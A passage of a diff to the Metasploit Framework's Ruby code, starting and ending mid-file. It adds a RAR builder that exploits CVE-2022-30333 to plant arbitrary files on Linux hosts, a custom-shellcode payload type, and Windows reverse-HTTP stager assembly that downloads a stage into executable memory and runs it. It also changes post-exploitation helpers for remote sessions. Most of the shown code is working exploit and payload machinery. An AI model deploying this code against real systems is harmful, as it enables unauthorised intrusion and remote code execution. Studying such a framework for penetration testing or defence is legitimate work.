when 'aggr_min', 'aggr_max'
|
||||
aggr_type = mode.split("_")[1]
|
||||
unless response.include?('aggr_result') && response['aggr_result'].is_a?(Hash) && response['aggr_result'].include?(aggr_type)
|
||||
print_error("Received unexpected reply when trying to obtain #{aggr_type} aggregate value for the UNIQUE_ID field.")
|
||||
return nil
|
||||
end
|
||||
|
||||
return [response['aggr_result'][aggr_type]]
|
||||
when 'standard'
|
||||
search_result = response['search_result']
|
||||
unless search_result.is_a? Array
|
||||
print_error("Received unexpected query response: #{response}")
|
||||
return nil
|
||||
end
|
||||
|
||||
if search_result.empty?
|
||||
vprint_status("The query returned no records.")
|
||||
return nil
|
||||
end
|
||||
|
||||
return search_result unless fields.is_a? Array
|
||||
|
||||
process_results(search_result, fields)
|
||||
else
|
||||
print_error('An invalid mode parameter was supplied!')
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# Processes the search_result received from the Xnode server. If the fields parameter is provided, received values are mapped to known field (column) names.
|
||||
#
|
||||
# @param search_result [Array] nested Array containing the data repository rows and their values
|
||||
# @param fields [Array] data repository fields (columns) that were dumped, used for mapping the search_result values to field names
|
||||
# @return [Array, nil] Array containing the query results if the provided parameters are correct, nil otherwise
|
||||
def process_results(search_result, fields)
|
||||
return nil unless fields.is_a? Array
|
||||
results = []
|
||||
non_empty_val_ct = 0 # used to check the search results contains at least one non_empty value
|
||||
# map the search returned values to the specified fields
|
||||
search_result.each do |row|
|
||||
row_data = {}
|
||||
row.each_with_index do |val, index|
|
||||
non_empty_val_ct += 1 unless val.blank?
|
||||
column_name = fields[index]
|
||||
row_data[column_name] = val
|
||||
end
|
||||
results << row_data
|
||||
end
|
||||
|
||||
if non_empty_val_ct == 0
|
||||
return nil
|
||||
end
|
||||
|
||||
results
|
||||
end
|
||||
end
|
||||
@@ -101,8 +101,14 @@ module Msf
|
||||
# @param [FlaseClass] Payload is not compatible.
|
||||
def is_payload_compatible?(name)
|
||||
p = framework.payloads[name]
|
||||
return false unless p
|
||||
|
||||
pi = p.new
|
||||
begin
|
||||
pi = p.new
|
||||
rescue ::Exception, ::LoadError => e
|
||||
wlog("Module #{name} failed to initialize payload when checking evasion compatibility: #{e}", 'core', LEV_0)
|
||||
return false
|
||||
end
|
||||
|
||||
# Are we compatible in terms of conventions and connections and
|
||||
# what not?
|
||||
|
||||
@@ -704,7 +704,6 @@ class Exploit < Msf::Module
|
||||
#
|
||||
def is_payload_compatible?(name)
|
||||
p = framework.payloads[name]
|
||||
|
||||
return false unless p
|
||||
|
||||
# Skip over payloads that are too big
|
||||
@@ -713,7 +712,7 @@ class Exploit < Msf::Module
|
||||
begin
|
||||
pi = p.new
|
||||
rescue ::Exception, ::LoadError => e
|
||||
wlog("Module #{name} failed to initialize: #{e}", 'core', LEV_0)
|
||||
wlog("Module #{name} failed to initialize payload when checking exploit compatibility: #{e}", 'core', LEV_0)
|
||||
return false
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
# Encoding: ASCII-8BIT
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
module Format
|
||||
# The RarSymlinkPathTraversal mixin provides methods for generating a RAR file
|
||||
# that exploits CVE-2022-30333, which can write an arbitrary file to an arbitrary
|
||||
# location on a Linux filesystem
|
||||
module RarSymlinkPathTraversal
|
||||
# Encode arbitrary data to be extracted to an arbitrary path on versions of
|
||||
# unrar that are affected by CVE-2022-30333
|
||||
def encode_as_traversal_rar(symlink_name, target_path, data)
|
||||
# Exactly 104 characters isn't allowed because we need to null-terminate
|
||||
unless target_path.length < 104
|
||||
raise ArgumentError, 'The RAR filename target is too long (max length: 103 characters)'
|
||||
end
|
||||
|
||||
# Data and symlink_name don't need to be null-terminated, just padded
|
||||
unless data.length <= 4096
|
||||
raise ArgumentError, "The RAR file data is too long (max length: 4096 bytes, it was #{data.length})"
|
||||
end
|
||||
|
||||
unless symlink_name.length <= 12
|
||||
raise ArgumentError, 'The symlink is too long (max length: 12 characters)'
|
||||
end
|
||||
|
||||
# Null terminate the path, pad with NUL bytes, and invert the slashes
|
||||
symlink_target = (target_path + "\0").gsub('/', '\\')
|
||||
symlink_target.concat(rand(255).chr) while symlink_target.length < 104
|
||||
|
||||
symlink_name = symlink_name.ljust(12, "\0")
|
||||
|
||||
# Pad the data to the full length
|
||||
data.concat(rand(255).chr) while data.length < 4096
|
||||
|
||||
# Build a RAR file from pieces, filling in the blanks with our payloads.
|
||||
# The RAR format is non-free (and complex), so this is the easiest way to
|
||||
# build a payload file
|
||||
rar = "\x52\x61\x72\x21\x1a\x07\x01\x00\xf3\xe1\x82\xeb\x0b\x01\x05\x07\x00\x06\x01\x01\x80\x80\x80\x00"
|
||||
|
||||
# Create the first section (with the symlink), and attach with its CRC32
|
||||
rar_section1 = ''
|
||||
rar_section1.concat("\x94\x01\x02\x03\x78\x00\x04\x00\xa0\x08\x00\x00\x00\x00\x80\x00\x00\x0c")
|
||||
rar_section1.concat(symlink_name) # Symlink filename
|
||||
rar_section1.concat("\x0a\x03\x02\xae\xf0\x37\x1c\x91\x98\xd8\x01\x6c\x05\x02\x00\x68")
|
||||
rar_section1.concat(symlink_target)
|
||||
rar.concat([Zlib.crc32(rar_section1), rar_section1].pack('Va*'))
|
||||
|
||||
# Create the second section (with the data), and attach with its CRC32
|
||||
rar_section2 = ''
|
||||
rar_section2.concat("\x28\x02\x03\x0b\x80\x20\x04\x80\x20\x20")
|
||||
rar_section2.concat([Zlib.crc32(data)].pack('V'))
|
||||
rar_section2.concat("\x80\x00\x00\x0c")
|
||||
rar_section2.concat(symlink_name) # Data filename (same as symlink to overwrite it)
|
||||
rar_section2.concat("\x0a\x03\x02\x00\x36\xe3\x00\x91\x98\xd8\x01")
|
||||
rar.concat([Zlib.crc32(rar_section2), rar_section2].pack('Va*'))
|
||||
|
||||
rar.concat(data)
|
||||
|
||||
# This tail doesn't seem necessary, but I don't want to mess with it
|
||||
rar.concat("\x1d\x77\x56\x51\x03\x05\x04\x00")
|
||||
|
||||
rar
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -97,15 +97,28 @@ module Msf::Exploit::Remote::HTTP::Typo3::Login
|
||||
# @param password [String] The clear text password to encrypt
|
||||
# @return [String] the base64 encoded password with prefixed 'rsa:'
|
||||
def typo3_helper_login_rsa(e, n, password)
|
||||
key = OpenSSL::PKey::RSA.new
|
||||
exponent = OpenSSL::BN.new e.hex.to_s
|
||||
modulus = OpenSSL::BN.new n.hex.to_s
|
||||
if key.respond_to?(:set_key)
|
||||
# Ruby 2.4+
|
||||
key.set_key(modulus, exponent, nil)
|
||||
# OpenSSL 3.0+
|
||||
if OpenSSL::PKey.respond_to?(:generate_key)
|
||||
exponent = OpenSSL::BN.new e.hex
|
||||
modulus = OpenSSL::BN.new n.hex
|
||||
asn1 = OpenSSL::ASN1::Sequence(
|
||||
[
|
||||
OpenSSL::ASN1::Integer(modulus),
|
||||
OpenSSL::ASN1::Integer(exponent),
|
||||
]
|
||||
)
|
||||
key = OpenSSL::PKey::RSA.new(asn1.to_der)
|
||||
else
|
||||
key.e = exponent
|
||||
key.n = modulus
|
||||
key = OpenSSL::PKey::RSA.new
|
||||
exponent = OpenSSL::BN.new e.hex.to_s
|
||||
modulus = OpenSSL::BN.new n.hex.to_s
|
||||
if key.respond_to?(:set_key)
|
||||
# Ruby 2.4+
|
||||
key.set_key(modulus, exponent, nil)
|
||||
else
|
||||
key.e = exponent
|
||||
key.n = modulus
|
||||
end
|
||||
end
|
||||
enc = key.public_encrypt(password)
|
||||
enc_b64 = Rex::Text.encode_base64(enc)
|
||||
|
||||
@@ -44,7 +44,7 @@ module Msf
|
||||
time_stamp = opts[:time_stamp] || Time.now
|
||||
pausec = opts[:pausec] || 0
|
||||
etype = opts[:etype] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
|
||||
key = opts[:key] || ''
|
||||
key = opts[:key] || OpenSSL::Random.random_bytes(16)
|
||||
|
||||
pa_time_stamp = Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.new(
|
||||
pa_time_stamp: time_stamp,
|
||||
|
||||
@@ -388,14 +388,21 @@ protected
|
||||
begin
|
||||
blob = self.generate_stage(url: url, uuid: uuid, uri: conn_id)
|
||||
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
|
||||
# remove this when we make http payloads prepend stage sizes by default
|
||||
if defined?(read_stage_size?) && read_stage_size?
|
||||
print_status("Appending Stage Size For HTTP[S]...")
|
||||
blob = [ blob.length ].pack('V') + blob
|
||||
end
|
||||
|
||||
print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")
|
||||
|
||||
resp['Content-Type'] = 'application/octet-stream'
|
||||
resp.body = blob
|
||||
|
||||
rescue NoMethodError
|
||||
print_error("Staging failed. This can occur when stageless listeners are used with staged payloads.")
|
||||
rescue NoMethodError => e
|
||||
rescue NoMethodError => e
|
||||
print_error('Staging failed. This can occur when stageless listeners are used with staged payloads.''')
|
||||
elog('Staging failed. This can occur when stageless listeners are used with staged payloads.', error: e)
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
@@ -57,6 +57,11 @@ module Msf
|
||||
#
|
||||
# @return [void]
|
||||
def setup_handler
|
||||
# The current SSH server implementation does not support OpenSSL 3
|
||||
if OpenSSL::OPENSSL_LIBRARY_VERSION.start_with? 'OpenSSL 3'
|
||||
raise RuntimeError, "ReverseSSH failed to load. OpenSSL version #{OpenSSL::VERSION} not supported."
|
||||
end
|
||||
|
||||
local_addr = nil
|
||||
local_port = bind_port
|
||||
ex = false
|
||||
@@ -103,7 +108,7 @@ module Msf
|
||||
end
|
||||
|
||||
def init_fd_client(cli)
|
||||
Timeout.timeout(5) do
|
||||
Timeout.timeout(25) do
|
||||
sleep 0.02 while cli.connection.open_channel_keys.empty?
|
||||
fdc = Rex::Proto::Ssh::ChannelFD.new(cli)
|
||||
service.clients.push(fdc)
|
||||
@@ -143,16 +148,21 @@ module Msf
|
||||
private
|
||||
|
||||
def default_version_string
|
||||
default_version_string = 'SSH-2.0-OpenSSH_5.3p1'
|
||||
|
||||
# The current SSH server implementation does not support OpenSSL 3
|
||||
return default_version_string if OpenSSL::OPENSSL_LIBRARY_VERSION.start_with? 'OpenSSL 3'
|
||||
|
||||
require 'rex/proto/ssh/connection'
|
||||
Rex::Proto::Ssh::Connection.default_options['local_version']
|
||||
rescue OpenSSL::OpenSSLError => e
|
||||
print_error("ReverseSSH handler did not load with OpenSSL version #{OpenSSL::VERSION}")
|
||||
elog(e)
|
||||
'SSH-2.0-OpenSSH_5.3p1'
|
||||
default_version_string
|
||||
rescue LoadError => e
|
||||
print_error('ReverseSSH handler did not load as PTY access is not available on all platforms.')
|
||||
elog(e)
|
||||
'SSH-2.0-OpenSSH_5.3p1'
|
||||
default_version_string
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -183,6 +183,13 @@ class Msf::Modules::Loader::Base
|
||||
causal_message: 'invalid module filename (must be lowercase alphanumeric snake case)'
|
||||
))
|
||||
return false
|
||||
rescue => e
|
||||
load_error(module_path, Msf::Modules::Error.new(
|
||||
module_path: module_path,
|
||||
module_reference_name: module_reference_name,
|
||||
causal_message: "unknown error #{e.message}"
|
||||
))
|
||||
return false
|
||||
end
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
# -*- coding => binary -*-
|
||||
|
||||
#
|
||||
module Msf::Payload::Custom
|
||||
|
||||
def stage_payload(_opts = {})
|
||||
return nil if datastore['SHELLCODE_FILE'].blank?
|
||||
|
||||
File.binread(datastore['SHELLCODE_FILE'])
|
||||
end
|
||||
|
||||
def setup_handler
|
||||
if datastore['SHELLCODE_FILE'].blank?
|
||||
fail_with(Msf::Module::Failure::BadConfig, "No SHELLCODE_FILE provided")
|
||||
end
|
||||
begin
|
||||
# read the file before we start the handler to make sure that it is valid
|
||||
test = File.binread(datastore['SHELLCODE_FILE'])
|
||||
rescue => e
|
||||
print_error("Unable to read #{datastore['SHELLCODE_FILE']}:")
|
||||
elog("Unable to read #{datastore['SHELLCODE_FILE']}:", error: e)
|
||||
fail_with(Msf::Module::Failure::BadConfig, "Bad SHELLCODE_FILE provided")
|
||||
end
|
||||
super
|
||||
end
|
||||
|
||||
def read_stage_size?
|
||||
true
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,15 @@
|
||||
# -*- coding => binary -*-
|
||||
|
||||
#
|
||||
# This module provides datastore option definitions and helper methods for payload modules that support UUIDs
|
||||
#
|
||||
module Msf::Payload::Custom::Options
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options(
|
||||
[
|
||||
Msf::OptPath.new('SHELLCODE_FILE', [false, 'Shellcode bin to launch', nil])
|
||||
], self.class)
|
||||
end
|
||||
end
|
||||
@@ -170,6 +170,7 @@ module Msf::Payload::Stager
|
||||
# @param (see handle_connection_stage)
|
||||
# @return (see handle_connection_stage)
|
||||
def handle_connection(conn, opts={})
|
||||
|
||||
# If the stage should be sent over the client connection that is
|
||||
# established (which is the default), then go ahead and transmit it.
|
||||
if (stage_over_connection?)
|
||||
|
||||
@@ -447,7 +447,49 @@ module Payload::Windows::ReverseHttp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
if defined?(read_stage_size?) && read_stage_size?
|
||||
asm << %Q^
|
||||
allocate_memory:
|
||||
read_stage_size:
|
||||
push ebx ; temporary storage for stage size
|
||||
mov eax, esp ; pointer to 4b buffer for stage size
|
||||
push ebx ; temporary storage for bytesRead
|
||||
mov edi, esp ; pointer to 4b buffer for bytesRead
|
||||
push edi ; &bytesRead
|
||||
push 4 ; bytes to read
|
||||
push eax ; &stage size
|
||||
push esi ; hRequest
|
||||
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
|
||||
call ebp ; InternetReadFile(hFile, lpBuffer, dwNumberOfBytesToRead, lpdwNumberOfBytesRead)
|
||||
pop ebx ; bytesRead (unused, pop for cleaning)
|
||||
pop ebx ; stage size
|
||||
test eax,eax ; download failed? (optional?)
|
||||
jz failure
|
||||
xor eax, eax
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push ebx ; Stage allocation
|
||||
push eax ; NULL as we dont care where the allocation is
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack (for ret later)
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
download_more:
|
||||
push edi ; &bytesRead
|
||||
push eax ; read length
|
||||
push ebx ; buffer
|
||||
push esi ; hRequest
|
||||
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
|
||||
call ebp
|
||||
test eax,eax ; download failed? (optional?)
|
||||
jz failure
|
||||
pop eax ; clear the temporary storage for bytesread
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
allocate_memory:
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
@@ -479,7 +521,9 @@ module Payload::Windows::ReverseHttp
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
|
||||
^
|
||||
end
|
||||
asm << %Q^
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
|
||||
@@ -548,6 +548,62 @@ module Payload::Windows::ReverseWinHttp
|
||||
^
|
||||
end
|
||||
|
||||
if defined?(read_stage_size?) && read_stage_size?
|
||||
asm << %Q^
|
||||
receive_response:
|
||||
; The API WinHttpReceiveResponse needs to be called
|
||||
; first to get a valid handle for WinHttpReadData
|
||||
push ebx ; Reserved (NULL)
|
||||
push esi ; Request handler returned by WinHttpSendRequest
|
||||
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReceiveResponse')}
|
||||
call ebp
|
||||
test eax,eax
|
||||
jz failure
|
||||
|
||||
allocate_memory:
|
||||
read_stage_size:
|
||||
push ebx ; temporary storage for stage size
|
||||
mov eax, esp ; pointer to 4b buffer for stage size
|
||||
push ebx ; temporary storage for bytesRead
|
||||
mov edi, esp ; pointer to 4b buffer for bytesRead
|
||||
push edi ; &bytesRead
|
||||
push 4 ; bytes to read
|
||||
push eax ; &stage size
|
||||
push esi ; hRequest
|
||||
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')}
|
||||
call ebp ; InternetReadFile(hFile, lpBuffer, dwNumberOfBytesToRead, lpdwNumberOfBytesRead)
|
||||
pop ebx ; bytesRead (unused, pop for cleaning)
|
||||
pop ebx ; stage size
|
||||
|
||||
test eax,eax ; download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
xor eax, eax
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push ebx ; Stage allocation
|
||||
push eax ; NULL as we dont care where the allocation is
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack (for ret later)
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
|
||||
download_more:
|
||||
push edi ; &bytesRead
|
||||
push eax ; read length
|
||||
push ebx ; buffer
|
||||
push esi ; hRequest
|
||||
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')}
|
||||
call ebp
|
||||
test eax,eax ; download failed? (optional?)
|
||||
jz failure
|
||||
pop eax ; clear the temporary storage for bytesread
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
receive_response:
|
||||
; The API WinHttpReceiveResponse needs to be called
|
||||
@@ -590,7 +646,9 @@ module Payload::Windows::ReverseWinHttp
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
|
||||
^
|
||||
end
|
||||
asm << %Q^
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
|
||||
@@ -441,6 +441,58 @@ module Payload::Windows::ReverseHttp_x64
|
||||
^
|
||||
end
|
||||
|
||||
# our other recent stagers like reverse_tcp read in the size of the incoming
|
||||
# stage. We don't know why the http stager still just allocs 4MB and yeets
|
||||
# the stage into it, but we should be allocating what we need, not what we guess we need
|
||||
# these changes are to support the custom payload type, but in the future, we should
|
||||
# change the reverse_http stagers to read in the size and allocate what it needs.
|
||||
# as a breaking change, it will need to wait for the next major release.
|
||||
#
|
||||
if defined?(read_stage_size?) && read_stage_size?
|
||||
asm << %Q^
|
||||
allocate_memory:
|
||||
; read incoming stage size
|
||||
push rbx ; buffer for stage size
|
||||
mov rdx, rsp ; lpBuffer (pointer to mem)
|
||||
push rbx ; buffer for bytesRead
|
||||
mov r9, rsp ; lpdwNumberOfBytesRead (stack pointer)
|
||||
push 4
|
||||
pop r8 ; dwNumberOfBytesToRead (4 bytes)
|
||||
mov rcx, rsi ; hFile (request handle)
|
||||
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
|
||||
call rbp
|
||||
test eax, eax ; did the download fail?
|
||||
jz failure
|
||||
add rsp, 40 ; remove 32 bytes of home space and 8 bytes of bytesRead
|
||||
; allocate memory for stage
|
||||
push rbx
|
||||
pop rcx ; lpAddress (NULL)
|
||||
pop rdx ; incoming stage size (Used in InternetReadFile)
|
||||
mov rbx, rdx ; save off stage size (rdx is volatile)
|
||||
push 0x40
|
||||
pop r9 ; flProtect (0x40=PAGE_EXECUTE_READWRITE)
|
||||
mov r8, 0x1000 ; flAllocationType (0x1000=MEM_COMMIT)
|
||||
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||
call rbp
|
||||
;download stage
|
||||
download_prep:
|
||||
xchg rax, rbx ; store the allocated base in rbx
|
||||
push rbx ; store allocated memory address for later ret
|
||||
push rbx ; temp storage for byte count
|
||||
mov rdi, rsp ; rdi is the &bytesRead
|
||||
mov rcx, rsi ; hFile (request handle)
|
||||
mov r8, rax ; dwNumberOfBytesToRead (incoming stage size)
|
||||
mov rdx, rbx ; lpBuffer (pointer to mem)
|
||||
mov r9, rdi ; lpdwNumberOfByteRead (stack pointer)
|
||||
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
|
||||
call rbp
|
||||
add rsp, 32 ; clean up reserved space
|
||||
test eax, eax ; did the download fail?
|
||||
jz failure
|
||||
pop rax ; clear up reserved space
|
||||
^
|
||||
|
||||
else
|
||||
asm << %Q^
|
||||
allocate_memory:
|
||||
push rbx
|
||||
@@ -478,6 +530,10 @@ module Payload::Windows::ReverseHttp_x64
|
||||
jnz download_more ; keep going
|
||||
pop rax ; clear up reserved space
|
||||
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
execute_stage:
|
||||
ret ; return to the stored stage address
|
||||
^
|
||||
|
||||
@@ -563,7 +563,54 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
if defined?(read_stage_size?) && read_stage_size?
|
||||
asm << %^
|
||||
allocate_memory:
|
||||
; read incoming stage size
|
||||
push rbx ; buffer for stage size
|
||||
mov rdx, rsp ; lpBuffer (pointer to mem)
|
||||
push rbx ; buffer for bytesRead
|
||||
mov r9, rsp ; lpdwNumberOfBytesRead (stack pointer)
|
||||
push 4
|
||||
pop r8 ; dwNumberOfBytesToRead (4 bytes)
|
||||
mov rcx, rsi ; hFile (request handle)
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')} ; WinHttpReadData
|
||||
call rbp
|
||||
test eax, eax ; did the download fail?
|
||||
jz failure
|
||||
add rsp, 40 ; remove 32 bytes of home space and 8 bytes of bytesRead
|
||||
|
||||
|
||||
; allocate memory for stage
|
||||
push rbx
|
||||
pop rcx ; lpAddress (NULL)
|
||||
pop rdx ; incoming stage size (Used in InternetReadFile)
|
||||
mov rbx, rdx ; save off stage size (rdx is volatile)
|
||||
push 0x40
|
||||
pop r9 ; flProtect (0x40=PAGE_EXECUTE_READWRITE)
|
||||
mov r8, 0x1000 ; flAllocationType (0x1000=MEM_COMMIT)
|
||||
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||
call rbp
|
||||
|
||||
;download stage
|
||||
download_prep:
|
||||
xchg rax, rbx ; store the allocated base in rbx
|
||||
push rbx ; store allocated memory address for later ret
|
||||
push rbx ; temp storage for byte count
|
||||
mov rdi, rsp ; rdi is the &bytesRead
|
||||
mov rcx, rsi ; hFile (request handle)
|
||||
mov r8, rax ; dwNumberOfBytesToRead (incoming stage size)
|
||||
mov rdx, rbx ; lpBuffer (pointer to mem)
|
||||
mov r9, rdi ; lpdwNumberOfByteRead (stack pointer)
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')} ; WinHttpReadData
|
||||
call rbp
|
||||
add rsp, 32 ; clean up reserved space
|
||||
test eax, eax ; did the download fail?
|
||||
jz failure
|
||||
pop rax ; clear up reserved space
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
allocate_memory:
|
||||
push rbx
|
||||
pop rcx ; lpAddress (NULL)
|
||||
@@ -599,7 +646,9 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||
test eax, eax ; are we done?
|
||||
jnz download_more ; keep going
|
||||
pop rax ; clear up reserved space
|
||||
|
||||
^
|
||||
end
|
||||
asm << %Q^
|
||||
execute_stage:
|
||||
ret ; return to the stored stage address
|
||||
^
|
||||
|
||||
+80
-13
@@ -251,7 +251,7 @@ module Msf::Post::File
|
||||
end
|
||||
raise "`writable?' method does not support Windows systems" if session.platform == 'windows'
|
||||
|
||||
cmd_exec("test -w '#{path}' && echo true").to_s.include? 'true'
|
||||
cmd_exec("(test -w '#{path}' || test -O '#{path}') && echo true").to_s.include? 'true'
|
||||
end
|
||||
|
||||
#
|
||||
@@ -352,31 +352,98 @@ module Msf::Post::File
|
||||
#
|
||||
# Returns a MD5 checksum of a given remote file
|
||||
#
|
||||
# @note THIS DOWNLOADS THE FILE
|
||||
# @note For shell sessions,
|
||||
# this method downloads the file from the remote host
|
||||
# unless a hashing utility for use on the remote host is specified.
|
||||
#
|
||||
# @param file_name [String] Remote file name
|
||||
# @option util [String] Remote file hashing utility
|
||||
# @return [String] Hex digest of file contents
|
||||
def file_remote_digestmd5(file_name)
|
||||
data = read_file(file_name)
|
||||
chksum = nil
|
||||
if data
|
||||
def file_remote_digestmd5(file_name, util: nil)
|
||||
if session.type == 'meterpreter'
|
||||
begin
|
||||
return session.fs.file.md5(file_name)&.unpack('H*').flatten.first
|
||||
rescue StandardError => e
|
||||
print_error("Exception while running #{__method__}: #{e}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# Note: This will fail on files larger than 2GB
|
||||
if session.type == 'powershell'
|
||||
data = cmd_exec("$md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider; [System.BitConverter]::ToString($md5.ComputeHash([System.IO.File]::ReadAllBytes('#{file_name}')))")
|
||||
return unless data
|
||||
|
||||
chksum = data.scan(/^([A-F0-9-]+)$/).flatten.first
|
||||
return chksum&.gsub(/-/, '')&.downcase
|
||||
end
|
||||
|
||||
case util
|
||||
when 'md5'
|
||||
chksum = session.shell_command_token("md5 -q '#{file_name}'")&.strip
|
||||
when 'md5sum'
|
||||
chksum = session.shell_command_token("md5sum '#{file_name}'")&.strip.split.first
|
||||
when 'certutil'
|
||||
data = session.shell_command_token("certutil -hashfile \"#{file_name}\" MD5")
|
||||
return unless data
|
||||
chksum = data.scan(/^([a-f0-9 ]{47})\r?\n/).flatten.first&.gsub(/\s*/, '')
|
||||
else
|
||||
data = read_file(file_name)
|
||||
return unless data
|
||||
chksum = Digest::MD5.hexdigest(data)
|
||||
end
|
||||
return chksum
|
||||
|
||||
return unless chksum =~ /\A[a-f0-9]{32}\z/
|
||||
|
||||
chksum
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a SHA1 checksum of a given remote file
|
||||
#
|
||||
# @note THIS DOWNLOADS THE FILE
|
||||
# @note For shell sessions,
|
||||
# this method downloads the file from the remote host
|
||||
# unless a hashing utility for use on the remote host is specified.
|
||||
#
|
||||
# @param file_name [String] Remote file name
|
||||
# @option util [String] Remote file hashing utility
|
||||
# @return [String] Hex digest of file contents
|
||||
def file_remote_digestsha1(file_name)
|
||||
data = read_file(file_name)
|
||||
chksum = nil
|
||||
if data
|
||||
def file_remote_digestsha1(file_name, util: nil)
|
||||
if session.type == 'meterpreter'
|
||||
begin
|
||||
return session.fs.file.sha1(file_name)&.unpack('H*').flatten.first
|
||||
rescue StandardError => e
|
||||
print_error("Exception while running #{__method__}: #{e}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# Note: This will fail on files larger than 2GB
|
||||
if session.type == 'powershell'
|
||||
data = cmd_exec("$sha1 = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider; [System.BitConverter]::ToString($sha1.ComputeHash([System.IO.File]::ReadAllBytes('#{file_name}')))")
|
||||
return unless data
|
||||
chksum = data.scan(/^([A-F0-9-]+)$/).flatten.first
|
||||
return chksum&.gsub(/-/, '')&.downcase
|
||||
end
|
||||
|
||||
case util
|
||||
when 'sha1'
|
||||
chksum = session.shell_command_token("sha1 -q '#{file_name}'")&.strip
|
||||
when 'sha1sum'
|
||||
chksum = session.shell_command_token("sha1sum '#{file_name}'")&.strip.split.first
|
||||
when 'certutil'
|
||||
data = session.shell_command_token("certutil -hashfile \"#{file_name}\" SHA1")
|
||||
return unless data
|
||||
chksum = data.scan(/^([a-f0-9 ]{59})\r?\n/).flatten.first&.gsub(/\s*/, '')
|
||||
else
|
||||
data = read_file(file_name)
|
||||
return unless data
|
||||
chksum = Digest::SHA1.hexdigest(data)
|
||||
end
|
||||
return chksum
|
||||
|
||||
return unless chksum =~ /\A[a-f0-9]{40}\z/
|
||||
|
||||
chksum
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -210,14 +210,6 @@ module System
|
||||
cmd_exec("echo $$").to_s
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the pid of the current session
|
||||
# @return [String]
|
||||
#
|
||||
def get_session_pid
|
||||
cmd_exec("echo $PPID").to_s
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if the system has gcc installed
|
||||
# @return [Boolean]
|
||||
|
||||
@@ -9,6 +9,7 @@ module Msf::Post::Process
|
||||
info,
|
||||
'Compat' => { 'Meterpreter' => { 'Commands' => %w{
|
||||
stdapi_sys_process_get_processes
|
||||
stdapi_sys_process_kill
|
||||
} } }
|
||||
))
|
||||
end
|
||||
@@ -45,6 +46,26 @@ module Msf::Post::Process
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Forcefully terminate process with ID `pid` on the remote system
|
||||
#
|
||||
# @return [Boolean] True upon success
|
||||
#
|
||||
def kill_process(pid)
|
||||
if session.type == 'meterpreter' && session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_KILL)
|
||||
session.sys.process.kill(pid)
|
||||
return true
|
||||
end
|
||||
|
||||
if session.platform == 'windows'
|
||||
